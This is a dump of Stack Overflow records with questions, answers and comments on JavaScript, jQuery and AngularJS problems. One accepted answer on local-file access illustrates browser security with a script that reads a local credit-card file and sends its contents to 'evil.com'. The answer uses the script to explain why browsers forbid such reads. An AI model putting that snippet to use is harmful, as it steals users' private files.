has comment: http://stackoverflow.com/comment/40128013
tagged with: javascript
has comment: http://stackoverflow.com/comment/40127574
score: 0
has answer: http://stackoverflow.com/a/25676340
has title: how to eval a string within a string using javascript
answer count: 3
has comment: http://stackoverflow.com/comment/40127353
has comment: http://stackoverflow.com/comment/40127783
accepted answer: http://stackoverflow.com/a/25676321
has comment: http://stackoverflow.com/comment/40127299
tagged with: php
has comment: http://stackoverflow.com/comment/40127293
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25676321

http://stackoverflow.com/comment/40037000
comment on: http://stackoverflow.com/a/25626428
score: 0
type: AnswerComment
has text: *"when parsed to json"* Uhm... the string *contains* JSON and `JSON.parse` converts it to an *object*.
type: Comment

http://stackoverflow.com/a/25706353
type: Answer
has body: You can use each of jquery like the below. Here is the jsfiddle: http://jsfiddle.net/w9zn9gLw/1/ $( "#next" ).click( function() { var str = ""; $( ".buttons" ).each(function( ) { str += $(this).html(); }); alert(str); }); Please mark as answer if it answers your question
answers question: http://stackoverflow.com/q/25706333
score: 0

http://stackoverflow.com/comment/40038634
score: 4
has text: why you don't create a function in your controller or create a custom filter for this complex queries, it would be cleaner. Don't you think?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25627255

http://stackoverflow.com/comment/40110388
has text: Isn't mixed content blocking primarily related to https? Don't see how JSONP has anything to do with that in particular.
score: 0
comment on: http://stackoverflow.com/q/25667036
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25580851
tagged with: javascript
linked to: http://stackoverflow.com/q/25584927
favorite count: 0
has comment: http://stackoverflow.com/comment/39953879
has comment: http://stackoverflow.com/comment/39994201
tagged with: google-chrome-extension
accepted answer: http://stackoverflow.com/a/25581043
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/13591983
has answer: http://stackoverflow.com/a/25580899
has body: I was making a Chrome extension, for which I have an html file, a JavaScript file which opens a modified link in a new tab, the manifest file and the icon. It works fine but now I want the javascript function to work only when the user clicks a button. So I made a button in the html file, put the js code inside a function and called the function using onclick. But for some reason, it is not working. On clicking the button nothing seems to happen. I have tried reloading the extension. Also, I took a working example of a simple program in which on clicking the button, a simple "Hello world" message is displayed using alert(). This works fine when I open the html page directly in chrome but when I replaced this with the function that I made, nothing seems to happen on clicking. Can someone please find the bug/problem? The urltry.html file is: View Editorial
has answer: http://stackoverflow.com/a/41521764
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25580899
type: Question
has title: Unable to call JavaScript function in html on button click
has answer: http://stackoverflow.com/a/25581043
score: 4
upvote count: 4
answer count: 3
tagged with: button
downvote count: 0

http://stackoverflow.com/a/25588578
type: Answer
has body: Extending from the correct answer of Andrey-Egorov using .executeScript() to conclude my own question example: inputField = driver.findElement(webdriver.By.id('gbqfq')); driver.executeScript("arguments[0].setAttribute('value', '" + longstring +"')", inputField);
upvote count: 16
has comment: http://stackoverflow.com/comment/39968194
has comment: http://stackoverflow.com/comment/52310267
has comment: http://stackoverflow.com/comment/85338465
answers question: http://stackoverflow.com/q/25583641
downvote count: 1
score: 15

http://stackoverflow.com/a/25660164
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40098615
has comment: http://stackoverflow.com/comment/40098393
has comment: http://stackoverflow.com/comment/40098676
upvote count: 1
has comment: http://stackoverflow.com/comment/40099132
has comment: http://stackoverflow.com/comment/40098773
answers question: http://stackoverflow.com/q/25660043
has comment: http://stackoverflow.com/comment/40098341
type: Answer
has comment: http://stackoverflow.com/comment/40098440
has comment: http://stackoverflow.com/comment/40098299
has comment: http://stackoverflow.com/comment/40098494
has comment: http://stackoverflow.com/comment/40098909
has body: When you're in your button's click-event, you've already left the frontend and cannot jump back for a function call. Execute the function first, clientside, upon the button-click (read about the OnClientClick event), then return your result with the postback. This link addresses the same issue.
has comment: http://stackoverflow.com/comment/40098466

http://stackoverflow.com/comment/39950923
comment on: http://stackoverflow.com/a/25579015
type: Comment
has text: i tried the codes above sir but i still have the error "Uncaught ReferenceError: sample is not defined", source: (1) . i even tried the html above but still the same. am i missing something sir? thanks
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39969963
type: AnswerComment
has text: As an aside, I'm about to call it night as I need to be up early in the AM, but I'll be happy to rework my entire post if needed once I'm back in front of my machine. I'll also be giving it a shot myself to tinker and try and write the necessary code to deliver on my two questions above, and I haven't heard back from you by that time, I'll be updating with the progress I've made. Thanks again, so much!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25588704

http://stackoverflow.com/a/25705017
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40201777
upvote count: 1
has comment: http://stackoverflow.com/comment/40180205
has body: I made some research and I would like to make a guess. Cookies were created as a method to make a website remember of some small particular things such a user preference. Specifically they were created when some guy at netscape was working on an e-commerce application in '94. He applied something called "magic cookie" a methodology used often in common programming to the Web ( http://en.m.wikipedia.org/wiki/Magic_cookie). Since then the need has always been to store some simple url parameter of the user transaction. The technique as you know was to store a particular simple text file containing the parameters to be remembered. It seems it spread out when Internet Explorer integrated it into its v2 browser. I guess the combination of: 1. The need of simply storing a few key information about a transaction. 2. The fact that they were meant to be secure so they could not contain functions or pieces of code of any kind may have contributed to the non-evolution of the cookie. There are a lot of things about cookies history just on Wikipedia I suggest you read. I just read them and found them super funny and interesting. The last thing I would suggest is to get to know cookies as fast as you can and start reading about/studying Localstorage ( http://en.m.wikipedia.org/wiki/Web_storage). The advantage is that you can use json objects to manage stored data. The disadvantage is that there isn't a version of it that shares data with your server (a special type of cookie will do the job anyway). I hope I had been useful!
has comment: http://stackoverflow.com/comment/40255012
type: Answer
accepted answer of: http://stackoverflow.com/q/25704770
downvote count: 0
answers question: http://stackoverflow.com/q/25704770
score: 1
has comment: http://stackoverflow.com/comment/40180104
has comment: http://stackoverflow.com/comment/40180074

http://stackoverflow.com/comment/40190551
has text: Since it is a number, forget what I said about JSON. I made a similar test here, with `p` being a number and exactly the same JS code of yours, and it worked nicely. I am using Firefox 30 on Ubuntu 14.04.
score: 0
comment on: http://stackoverflow.com/a/25706373
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/40107246
type: QuestionComment
comment on: http://stackoverflow.com/q/25665248
score: 0
has text: @Quentin Ah you caught me before I tried to ninja edit it. :) Morning coffee did not kick in. ;)
type: Comment

http://stackoverflow.com/a/25685782
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25685671
has body: There is an example on the Jquery doc site about exactly this http://api.jquery.com/checked-selector/ &lt;script&gt; var countChecked = function() { var n = $( "input:checked" ).length; $( "div" ).text( n + (n === 1 ? " is" : " are") + " checked!" ); }; countChecked(); $( "input[type=checkbox]" ).on( "click", countChecked ); &lt;/script&gt;

http://stackoverflow.com/comment/40167969
has text: And here's where i'm calling "bindShopEvents" for (var i = 0 ; i < unPurchased.length ; i++) { bindShopEvents(unPurchased.children[i], unPurch); }
type: Comment
comment on: http://stackoverflow.com/q/25698305
type: QuestionComment
score: 0

http://stackoverflow.com/comment/40195798
type: Comment
comment on: http://stackoverflow.com/a/25704810
score: 0
has text: No, like in my code above: `$('#box').height( viewPortHeight - $('#wrapping').offset().top );`. Your not closing `#wrapping` properly.
type: AnswerComment

http://stackoverflow.com/q/25679319
upvote count: 1
has body: I’m new to AngularJS (a few days) so I’m having a bit of trouble with it. I’m trying to create an equivalent to ng-bind-html, but more permissive. I’ve searched all over and managed to get it to accomplish mostly everything I need. In short I want to do this &lt;div template-compile-unsafe="code"&gt;&lt;/div&gt; Where code is $scope.code. As the value of $scope.code is modified it is recompiled into HTML and inserted into the DIV tag. I’ve even managed to get it to evaluate Angular expressions and create code that even has binding. For example set $scope.code this String "&lt;input type='text' ng-model='txtInput'&gt;&lt;br&gt;{{txtInput}}" and you get what is expected. But the problem is that when I change the code and it recompiles, it doesn’t delete the old watchers, but keeps adding more. Examine $scope.$$watchers to see that. To solve this I’ve tried the following: - Storing the return function for $scope.$watch(…), but it doesn’t seem to work when I accumulate more functions. - I’ve tried adding identifying variables in $scope.$$watchers[n] object to keep track of the particular watcher, but they’re quickly purged every time a new watcher is added to this array. - So far I haven’t seen anyway way to automatically unbind a watcher if the view is removed or replaced. I’ve looked into $destroy I can’t seem to make that work unless I destroy the $scope, but that doesn’t help because I only need particular watchers removed. - I’ve tried element.on(“$destroy”, …) - I can’t use $routeProvider because I need to change only specific areas in the DOM often independent of each other. That and I can’t have the URL suddenly keep changing if the user is presses a key when typing. - And I’ve even tried ignoring the problem, but as watchers accumulate the $scope.$watch(…) calls progressively increase to accomplish the same model-view updating. When I use this in larger and more complex applications or start nesting &lt;div template-compile-unsafe="code"&gt;&lt;/div&gt; the web…
tagged with: javascript
favorite count: 0
tagged with: angularjs
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40134611
has title: In AngularJS, how do I track a watcher to a view and delete them automatcally as the view is removed or replaced?
has comment: http://stackoverflow.com/comment/40180094
downvote count: 0
score: 1
type: Question

http://stackoverflow.com/q/25706180
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25706205
has comment: http://stackoverflow.com/comment/40182103
type: Question
answer count: 1
tagged with: javascript
favorite count: 0
has title: URL request in Javascript?
score: -1
has body: I'm trying to do an URL request in Javascript. The response to the request is in plain text. In a shell script I could do this: #!/bin/sh x=$(wget -O- "http://www.example.com/give_cookie?token=85EFC743VGDSX534DWDSACVC") echo "$x" This would be the result of running the script: $ response( {"name":"user4015668","message":"OM_NOM_NOM_THANKS_FOR_COOKIE"} ); First I looked at XMLHttpRequest, but found out that it would not work as the request is to another domain. I then read about this method: My website When loading the page in Firefox while using Firebug i see this in the section under the HTML fane: [-] 1 response( {"name":"user4015668","message":"OM_NOM_NOM_THANKS_FOR_COOKIE"} ); The response now seem to be somewhere in the HTML document, but I don't know how I can get in touch with it. Can I somehow direct the response to a variable, like in my shell script example?
downvote count: 2
has answer: http://stackoverflow.com/a/25706205
upvote count: 1

http://stackoverflow.com/a/25588005
accepted answer of: http://stackoverflow.com/q/25587974
upvote count: 3
answers question: http://stackoverflow.com/q/25587974
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: First of all, an HTTP request looks like this: GET / HTTP/1.1 Host: stackoverflow.com … more headers … It is received by a server, which can then decide to respond with anything. When your browser displays local pages, it doesn’t actually make any requests at all; there’s no server to receive them. It just special-cases the file: scheme and displays files. As to why you can’t request other local files from a local file: that would be an enormous security issue. You can display other webpages from local files, so imagine: you save a webpage one day to open it later, and in it is: &lt;script&gt; var rq = new XMLHttpRequest(); rq.open('GET', 'file:///C:\\Users\\some intelligent guess\\' + 'Desktop\\credit card info.txt', false); rq.send(null); document.location = 'http://evil.com/save?data=' + encodeURIComponent(rq.responseText); &lt;/script&gt; Easy theft. Reading local files with HTML5, on the other hand, is only possible when the user manually selects the files to be read using a file browsing dialogue. The webpage doesn’t have permission to read arbitrary files without interaction.
has comment: http://stackoverflow.com/comment/39966786
score: 3
has comment: http://stackoverflow.com/comment/39966936
has comment: http://stackoverflow.com/comment/39966892

http://stackoverflow.com/q/25552136
favorite count: 0
has comment: http://stackoverflow.com/comment/39900125
has comment: http://stackoverflow.com/comment/39899443
has comment: http://stackoverflow.com/comment/39899398
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39900252
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/3878027
downvote count: 0
has body: I'm trying to fade in an element on my page that is some text formatted with CSS. I can get a plain text element to fade in using element.fadeIn(). But that doesn't work with my document's current element. The onMouseOver and onMouseOut events are correctly just showing and hiding the element with no fade. I'm trying to get it to fade in (and eventually fade out) with the mouse events. The first part of the : Application APPName Click to Install Function for trying to fade in the text: function change_it(id) { setVisibility(id, 'inline'); //id.FadeIn("slow"); // $('div.detail').fadeIn('fast'); } Function to setting the visibility: function setVisibility(id, visibility) { document.getElementById(id).style.display = visibility; } The "sub2" element: Welcome my application! Here is a bunch of text I want to fade in during a mouse over another element! From the CSS file: .detail{ position: fixed; top: 0; left: 35%; width: 650px; height: 300px; Line-height: 1.4em; color : white; } Can someone spot the problem or suggest what I need to do to fade in the "sub2" element during that mouse over action?
score: 1
has title: Fade in a non-text element during mouse over
type: Question
has comment: http://stackoverflow.com/comment/39899396
tagged with: javascript
has answer: http://stackoverflow.com/a/25553104
accepted answer: http://stackoverflow.com/a/25553104
upvote count: 1
answer count: 1
tagged with: jquery

http://stackoverflow.com/comment/40086089
has text: Didn't draw the line between `new` and ObjC's `alloc`. But yeah, this is probably about as good as it gets. I'm still hoping for a miracle though.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25653322

http://stackoverflow.com/a/25598748
answers question: http://stackoverflow.com/q/25598668
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/39986393
upvote count: 2
has comment: http://stackoverflow.com/comment/39986373
score: 2
accepted answer of: http://stackoverflow.com/q/25598668
has body: Consider using recursion for this. Without knowing too much about what the code does, it could look something like this... function start_map_one() { start_map_one_helper(15); } function start_map_one_helper(count) { if (count &lt;= 0) { return; } $.when(update_map()).then(function () { evolve('W','W1',18,2,sea_limitations,20,350); start_map_one_helper(count - 1); }); } Note that the then() callback needs to be wrapped in a function, otherwise it executes right away. You may need to wrap the recursive call in a setTimeout to see the changes on the screen... function start_map_one() { start_map_one_helper(15); } function start_map_one_helper(count) { if (count &lt;= 0) { return; } $.when(update_map()).then(function () { evolve('W','W1',18,2,sea_limitations,20,350); setTimeout(function() { start_map_one_helper(count - 1); }); }); }

http://stackoverflow.com/a/27676952
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25632730
has body: I'm the author of Justified Gallery and I did a plugin for WordPress to load the images from Flickr and display them using Justified Gallery, and using Swipebox too if you want. You can find it in Wordpress Justified Gallery for Wordpress homepage Download the plugin and look inside the main .php file where there are all the simple steps to show the gallery using Justified Gallery.

http://stackoverflow.com/comment/40172189
comment on: http://stackoverflow.com/q/25700928
type: Comment
type: QuestionComment
has text: no duplicate, for me , i want to alert every 200px; mean alert when scroll 200,400,600,800,.... px
score: 0

http://stackoverflow.com/comment/39908662
type: Comment
type: QuestionComment
has text: @j08691 - That depends, jQuery adds bubbling to some events that doesn't normally bubble.
score: 0
comment on: http://stackoverflow.com/q/25556817

http://stackoverflow.com/a/25584258
has body: var txt = 'Typing text...'.split(''), $h1 = $('.autoText'), len = txt.length, delay = 850, i = 0; setInterval(function() { $h1.append(txt[i++]); if (i &gt; len) { $h1.empty(); i = 0; } }, delay); DEMO: http://jsfiddle.net/yt6hm4hc/
score: 1
answers question: http://stackoverflow.com/q/25584144
upvote count: 1
downvote count: 0
type: Answer

http://stackoverflow.com/q/25678475
answer count: 2
has answer: http://stackoverflow.com/a/25678822
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25678822
has answer: http://stackoverflow.com/a/25679023
score: 0
has comment: http://stackoverflow.com/comment/40131647
has body: I have a JavaScript object. How can I get the path into it? var obj = { objData: { Name: "", age: "", Department: { DepartmentDetails: { clerk: "xyz", manager: "abc" } }, WorkingDetails: [ { Title: "", workType: "", Appointee: { BasicDetails: { lastName: "", middleName: "", firstName: "" } } } ] } } I have tried the below code. Buth it is not giving me the right result. var x = objData.Department.DepartmentDetails.clerk; var path = "data"; function search(path, obj, target) { var found = false; for (var k in obj) { if (obj.hasOwnProperty(k)) if (obj[k] === target) return path + "['" + k + "']" else if (typeof obj[k] === "object") { var result = search(path + "['" + k + "']", obj[k], target); if (result) return result; } } return false; } var path = search(path, obj, x); console.log(path); I am expecting result as Department.DepartmentDetails.clerk:xyz Any help on this will be really helpful.
accepted answer: http://stackoverflow.com/a/25679023
type: AnsweredQuestion
type: Question
has title: How to get the JavaScript object nodepath

http://stackoverflow.com/q/25570290
score: 1
possible better answer: http://stackoverflow.com/a/25570591
has title: Complex regular expression for validate phone number based on state prefix
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25570349
tagged with: javascript
has body: I'm writing, or at least trying, a regular expression for validate Venezuela phone numbers in Javascript. I made a basic expression: /^0[0-9]{10}$/ which allow numbers like for example: 02129876543 (VALID) 02139876543 (INVALID) 02149876543 (INVALID) But 2nd and 3th are not valid since the prefix values 213 and 214 are not valid. I have a list of valid prefixes (taken from Wikipedia) and is this one: 248, 281, 282, 283, 235, 247, 278, 243, 244, 245, 246, 273, 278, 235, 285, 286, 288, 241, 242, 243, 245, 249, 258, 287, 212, 259, 268, 269, 237, 235, 238, 246, 247, 251, 252, 253, 271, 273, 274, 275, 212, 234, 239, 287, 291, 292, 295, 255, 256, 257, 293, 294, 276, 277, 271, 272, 212, 251, 253, 254, 261, 262, 263, 264, 265, 266, 267, 271, 275, 260, 270, 412, 414, 424, 416, 426 How I can build a regular expression for check validity of these prefixes? A valid number should start always with zero (0) followed by any of the prefixes above, followed by seven digits, can any give me some help?
answer count: 3
tagged with: validation
downvote count: 0
accepted answer: http://stackoverflow.com/a/25570349
favorite count: 0
has answer: http://stackoverflow.com/a/25570707
has answer: http://stackoverflow.com/a/25570591
tagged with: regex
type: AnsweredQuestion

http://stackoverflow.com/q/25617794
tagged with: backbone.js
type: Question
score: -2
has answer: http://stackoverflow.com/a/25617871
downvote count: 2
answer count: 1
has body: In SugarCRM 7.2.2 for validations, I have put following code to get Team and there users but the line var myTeamusers = userTeam2.getRelatedCollection('users'); is returning null. Strange thing is same code is working on Chrome console. var userTeam2 = App.data.createBean('Teams',{id:'e8566565-0d27-2f09-edf5- 52c67c376d41'});//WORKING FINE userTeam2.fetch();//WORKING FINE var myTeamusers = userTeam2.getRelatedCollection('users');//WORKING FINE myTeamusers.fetch({relate:true});//WORKING FINE alert("two"+ myTeamusers); // HERE RETURING NO VALUE I.E. LENGTH OF TEAM IS 0 HERE BUT WHEN RUN ON CHROME CONSOLE SHOW IT 4 USERS IN TEAM myTeamusers.toJSON(); alert("three"+ myTeamusers.toJSON()); alert("four"+ myTeamusers.toJSON().length);//SHOW IT 0 Please tell me what is wrong with above code, I have used above code at custom/modules/Cases/clients/base/views/record/record.js
accepted answer: http://stackoverflow.com/a/25617871
has comment: http://stackoverflow.com/comment/40021188
has title: Value not accessible after fetch
type: AnsweredQuestion
upvote count: 0
tagged with: javascript
favorite count: 0

http://stackoverflow.com/q/25696685
has comment: http://stackoverflow.com/comment/40165153
linked to: http://stackoverflow.com/q/14220321
has title: Factory method returning undefined value
tagged with: angularjs
has answer: http://stackoverflow.com/a/25696914
type: UnansweredQuestion
type: Question
score: 0
answer count: 1
tagged with: javascript
has body: I am using a factory recipe to call a method from controller, here is the factory definition. app.factory('AccountService', function ($http){ var factory = {}; factory.getAuthenticate = function (credentials) { $http({ method: 'post', url: '/api/login', data: credentials }).success(function (data, status, headers, config){ return true; }).error(function (data, status, headers, config){ return false; }); } return factory; }); When I call getAuthenticate method from one of my controller, app.controller('DefaultController', function ($scope, $location, AccountService){ $scope.login = function(){ alert(AccountService.getAuthenticate($scope.credentials)); // if(AccountService.getAuthenticate($scope.credentials)) { // $location.path('/dashboard'); // } } }); It always returns undefined instead of true or false based on http calls. Any idea what I am missing?
has comment: http://stackoverflow.com/comment/40165142
has comment: http://stackoverflow.com/comment/40165129

http://stackoverflow.com/a/25570881
type: Answer
answers question: http://stackoverflow.com/q/25568269
score: 3
accepted answer of: http://stackoverflow.com/q/25568269
upvote count: 3
has comment: http://stackoverflow.com/comment/39935948
has body: This is the format you're looking for: // Note, in the fiddle, this is run during the window.onload event. var test = document.getElementById('test'); test.addEventListener('submit', function before_submit(e){ document.getElementById('wait').style.display = 'block'; setTimeout(function wait(){ // After waiting for five seconds, submit the form. test.submit(); }, 5000); // Block the form from submitting. e.preventDefault(); }); http://jsfiddle.net/rmef40c5/
downvote count: 0
has comment: http://stackoverflow.com/comment/39937496
has comment: http://stackoverflow.com/comment/39936130
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39936258

http://stackoverflow.com/a/25582185
has comment: http://stackoverflow.com/comment/39956439
score: 0
has body: I think the case is ajax, which is executing success function, has no callAjax in it's context, therefore callAjax is exaluated to undefined. success: function (response) { $("#_DailyViewResults").html(response); $("#_DailyViewResults").show(); console.log('callAjax=', callAjax); setTimeout(callAjax, 5000); }, You can easily check thing by logging to console value of callAjax from ajax's callback. Solution is to preserve callAjax function within context, like that: //in ajax call's properties object success: (function(callAjax) { return function (response) { $("#_DailyViewResults").html(response); $("#_DailyViewResults").show(); setTimeout(callAjax, 5000); }})(callAjax), error: //...
type: Answer
has comment: http://stackoverflow.com/comment/39956195
answers question: http://stackoverflow.com/q/25582007

http://stackoverflow.com/comment/40020439
comment on: http://stackoverflow.com/q/25617045
type: Comment
type: QuestionComment
has text: i have tested with different inputs but its taking same time(delay time)
score: 0

http://stackoverflow.com/comment/56854685
type: Comment
type: QuestionComment
has text: Thanks for the question..I was wondering how this can be achieved..
comment on: http://stackoverflow.com/q/25667130
score: 0

http://stackoverflow.com/comment/40011190
type: Comment
has text: This works !! Perfect. So a Firefox issue :-( I was on this since 2 days . Thanks a lot
comment on: http://stackoverflow.com/a/25612077
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39969515
comment on: http://stackoverflow.com/q/25588829
has text: My apologies. Updated. :)
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25623703
score: 0
answer count: 1
tagged with: javascript
has title: Auto complete form field from previously entered value on the same form
has comment: http://stackoverflow.com/comment/40031888
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40032405
has comment: http://stackoverflow.com/comment/40032092
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40031930
has answer: http://stackoverflow.com/a/25623891
type: Question
has body: I am building quite a long form that has multiple form fields and check boxes. In order to make it as usable as possible from the client perspective I would like to auto populate certain values as the client fills out the form. This form contains different sections as the client goes through the form. So if he has entered his First Name, Last Name and ID Number in the first section he would be prompted to do so again in a later section( this is due to legal obligations). I would like to auto populate these fields from the clients first entries as to make the process a little easier and more user friendly. What would be the best way to go about this? If I am correct in saying that I cannot have two of the same values in a form when it is submitted to the database. It makes more sense to have one value but auto populated from the first. Hope this makes sense. Section 1 Client First Name: Client Last Name: Client ID Number: Advisor: Please Select Advisor Andrew Jamie Advisor ID Number: Later in document...... Section 7 Client First Name: Client Last Name: Client ID Number: Advisor: Please Select Advisor Andrew Jamie Advisor ID Number:
tagged with: forms
linked to: http://stackoverflow.com/q/11662715
has comment: http://stackoverflow.com/comment/40031941

http://stackoverflow.com/comment/39957505
type: Comment
type: QuestionComment
has text: google `circular json`, if this helps you accept my answer please.
score: 0
comment on: http://stackoverflow.com/q/25582759

http://stackoverflow.com/comment/39944789
comment on: http://stackoverflow.com/a/25573778
score: 0
type: Comment
has text: Thanks for the suggestion. Unfortunately this works for only the first tab. If I click on any other tab, nothing will load. I need the respective content to load (ie., go to the state) for each tab when it is clicked: For example, click on the first tab and its template be injected into the respective ui-view. Currently, it is injecting the template into all ui-views (if I have 5 tabs, it is being injected 5 times into the DOM).
type: AnswerComment

http://stackoverflow.com/comment/39939647
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25564087
has text: Reduce reduces a collection to a single value. Here we want to calculate the sum of the total inches printed for each device. Reduce works by applying a function to each item in a collection and passing the returned value to the function during the next iteration. The first time the function is called we are passing in zero as the initial value.

http://stackoverflow.com/q/25572297
linked to: http://stackoverflow.com/q/1646698
favorite count: 0
has answer: http://stackoverflow.com/a/25572547
has title: JS - What is the difference between using "new" and passing an object as context to a constructor function
score: 2
tagged with: instance
downvote count: 0
type: UnansweredQuestion
type: Question
tagged with: object
has answer: http://stackoverflow.com/a/25572472
has comment: http://stackoverflow.com/comment/39938125
linked to: http://stackoverflow.com/q/572897
linked to: http://stackoverflow.com/q/9959727
tagged with: prototype
has body: function dog(){ this.barking = "woof"; this.bark = function(){console.log(this.barking)} } var tony = new dog(); var stark = {}; dog.call(stark); tony.bark();// "woof" stark.bark();// "woof" console.log(tony.prototype == stark.prototype);// true console.log(tony.__proto__ == stark.__proto__);// false console.log(tony instanceof dog)//true console.log(stark instanceof dog)//false console.log(tony.constructor == stark.constructor);// false console.log(tony.constructor.toString() == tony.constructor.toString());// true What is the difference causing those results ? Why do Tony and Stark have the same prototype but not the same proto and constructor ? (I guess instanceof results are different because of _ proto __ ) Detailed answers are very welcome
upvote count: 2
answer count: 2
tagged with: function
tagged with: javascript

http://stackoverflow.com/q/25620407
type: Question
answer count: 2
tagged with: ng-options
has body: This question may be very trivial but its driving me nuts. I can have n number of elements on my page that are added dynamically. All these will have the same set of options for them. &lt;select class="form-control action" data-ng-options="action.name for action in statementData" data-ng-model="selectedRules.statementOptions" &gt; This is the mark-up for one of such elements. Problem: When I change or select something in one select element, all the others are updated. I dont want that. This might be happening coz of the same model object. But if i remove model then there is no data.
tagged with: javascript
has answer: http://stackoverflow.com/a/25620607
score: 0
has title: How to add more than one select element with same set of ng-options
accepted answer: http://stackoverflow.com/a/25620809
tagged with: angularjs
type: AnsweredQuestion
tagged with: angular-ngmodel
has answer: http://stackoverflow.com/a/25620809
possible better answer: http://stackoverflow.com/a/25620607

http://stackoverflow.com/comment/39899859
score: 0
has text: what is your question? why dont you copy the css of class a and paste them for your own class b?
comment on: http://stackoverflow.com/q/25552296
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25638738
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/43760245
has comment: http://stackoverflow.com/comment/47013513
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40059211
tagged with: append
score: 3
has body: I have a webpage that loads comments from a MySQL table, by appending "comment" divs one at a time into a collective "comments" parent div. However, this has caused some problems with scrolling in Google Chrome. I've tested this behavior in Firefox and it works fine there. If I refresh the page anywhere above where the bottom of the page would be without any comment divs, the refresh works just fine and the scroll bar is where it should be. However, if I refresh the page after scrolling beyond the first appended comment div, the page sets the vertical scroll position to where it would be if the comment divs weren't appended at all. I can't scroll down with the mouse wheel, as if Chrome thinks the divs were never appended, even though they are clearly there and the scrollbar shows them to be there. If I scroll up one tick of my scroll wheel from there, the page scrolls "up" to where the scroll bar would be after scrolling up one tick from the actual bottom of the page, with all of the comment divs appended. It's like the scroll bar is in two places at once, the "bottom of the page" if the comments weren't appended and the actual bottom of the page with the comments appended. Very confusing. Scrolling by clicking and dragging on the scrollbar works just fine. Likewise, scrolling "up" and then scrolling either up or down from there works too. I just can't scroll downward without scrolling "upward" first or starting the page refresh at a point other than one below where the bottom of the page would be without the comments appended. I'm not entirely sure what's going on or how to fix it, and the only other mention of this I've seen on the internet doesn't have an explanation or a solution. Would anyone be familiar with what's happening, why it's happening, and how to prevent it?
has title: Chrome exhibiting strange scrolling behavior after appending divs onto the page
answer count: 0
upvote count: 3
tagged with: google-chrome
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/43803625
downvote count: 0
tagged with: jquery

http://stackoverflow.com/comment/118707062
type: Comment
type: QuestionComment
has text: ngAfterViewChecked() { console.log('view loaded'); }
score: 0
comment on: http://stackoverflow.com/q/25600968

http://stackoverflow.com/a/25712529
downvote count: 0
has comment: http://stackoverflow.com/comment/40194500
has body: Sure, you can do that. We will define a new intermediate status object, called ChainResult, which remembers the underlying object, the current value, and a pending operation (a function to use to combine the next test). We give this object a valueOf method, so that when JS tries to evaluate it as a primitive, it "looks" like it has a value. To make this work, it turns out that ChainResult actually needs to be a function, and so we hang the necessary properties off the function. function ChainResult(obj, val) { function x() { } x.obj = obj; x.val = val; x.op = null; // the `valueOf` function spits out the current value when the object is evaluated x.valueOf = function() { return this.val; }; // the test functions combine the results with the current value // using the current operation as set by a preceding `and` or `or` x.isEmptyName = function() { x.val = x.op(x.val, x.obj._isEmptyName()); return this; }; x.isLongerThan = function(len) { x.val = x.op(x.val, x.obj._isLongerThan(len)); return this; }; // we implement `and` and `or` via getters which set the operation // on the ChainResult object, and return `this` so we can keep chaining Object.defineProperties(x, { and: { get: function() { x.op = function(a,b) { return a &amp;&amp; b; }; return x; } }, or: { get: function() { x.op = function(a,b) { return a || b; }; return x; } } }); return x; } The MyClass definition needs a bit of tweaking: function MyClass(name) { this.name = name || ''; } MyClass.prototype = { constructor: MyClass, // we implement the testers as pseudo-private functions _isEmptyName: function() { return this.name === ''; }, _isLongerThan: function(len) { return this.name.length &gt; len; }, // when the public tester functions are invoked directly on the object // (when they are the first link in the chain), we construct and return a // ChainResult object with the initial value set correctly isEmptyName: function() { return ChainResult(this, this._isEmptyName()); }, isLongerThan: function(len) { …
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/40194470
answers question: http://stackoverflow.com/q/25708351
score: 2

http://stackoverflow.com/comment/40003463
has text: Populating like in [this example](http://www.polymer-project.org/docs/polymer/databinding.html#templates-with-data-binding) is not an option?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25607546

http://stackoverflow.com/q/25704462
type: Question
has answer: http://stackoverflow.com/a/25704564
tagged with: javascript
has comment: http://stackoverflow.com/comment/40179009
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: Here is a jsfiddle example I've been working on: http://jsfiddle.net/4m5fg/143/ HTML: &lt;input type="text" maxlength="1" size="1"/&gt; &lt;input type="text" maxlength="1" value="e" tabindex="-1" size="1" readonly /&gt; &lt;input type="text" maxlength="1" size="1"/&gt; &lt;input type="text" maxlength="1" value="r" tabindex="-1" size="1" readonly /&gt; &lt;input type="text" maxlength="1" size="1"/&gt; JS: $("input").bind("input", function() { var $this = $(this); setTimeout(function() { if ( $this.val().length &gt;= parseInt($this.attr("maxlength"),10) ) $this.next("input").focus(); },0); }); In the above example, if I'm starting at the leftmost textbox, how can I make it so when the character is entered into this textbox the cursor advances to the next blank textbox (not the next filled in textbox)---and have it continue on in this manner for other textboxes.
